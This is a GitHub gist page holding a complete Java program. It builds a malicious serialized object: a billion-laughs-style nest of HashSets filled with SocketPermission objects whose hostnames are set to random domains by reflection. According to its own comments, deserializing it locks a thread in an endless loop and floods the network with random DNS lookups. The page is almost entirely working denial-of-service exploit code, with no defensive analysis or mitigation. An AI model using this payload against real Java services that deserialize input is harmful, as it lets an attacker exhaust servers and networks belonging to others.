Skip to content

Instantly share code, notes, and snippets.

@maestros
Forked from coekie/SerialDOS.java
Last active September 24, 2017 02:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save maestros/924ae6d9f440638b417014350f113e17 to your computer and use it in GitHub Desktop.
Save maestros/924ae6d9f440638b417014350f113e17 to your computer and use it in GitHub Desktop.
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.SocketPermission;
import java.security.SecureRandom;
import java.util.HashSet;
import java.util.Random;
import java.util.Set;
import java.util.stream.Collectors;
// billion-laughs-style DoS for java serialization
// it causes an infinite loop in the thread
// and floods the network with random DNS lookups
public class SerialDNSDOS {
public static void main(String[] args) throws Exception {
byte[] payload = payload();
deserialize(payload);
}
static Object deserialize(byte[] bytes) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
}
static byte[] payload() throws Exception {
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
// By adding SocketPermissions with a different domains
// we will flood the network with DNS lookups
for(int j=0;j<100;j++){
setRandomHostName(addNewSocketPermission(t1));
setRandomHostName(addNewSocketPermission(t2));
}
s1.add(t1);
s1.add(t2);
setRandomHostName(addNewSocketPermission(s1));
s2.add(t1);
s2.add(t2);
setRandomHostName(addNewSocketPermission(s2));
s1 = t1;
s2 = t2;
}
return serialize(root);
}
static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream ba = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(ba);
oos.writeObject(o);
oos.close();
return ba.toByteArray();
}
static void setRandomHostName(final Object obj) throws Exception {
Field[] fs = obj.getClass().getSuperclass().getDeclaredFields();
Field field = null;
for(Field f : fs) {
if( f.getName().equals("name")) {
field = f;
field.setAccessible(true);
break;
}
}
field.set(obj, createRandomDomain());
}
static SocketPermission addNewSocketPermission(Set set) {
SocketPermission sp = new SocketPermission("*:"+new Random()
.nextInt(65535),"connect,accept");
set.add(sp);
return sp;
}
static String charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static String[] domains = {"com", "org", "edu", "fr", "gov", "net", "bar"};
static String createRandomString(int length) {
return new SecureRandom()
.ints(length, 0, charSet.length())
.mapToObj(charSet::charAt)
.map(Object::toString)
.collect(Collectors.joining());
}
static String createRandomDomain() {
Random random = new Random();
int domain = random.nextInt(domains.length);
StringBuilder sb = new StringBuilder(20);
sb.append(createRandomString(3)).append(".")
.append(createRandomString(5)).append(".")
.append(domains[domain]).append(":").append(random.nextInt(65535));
return sb.toString();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment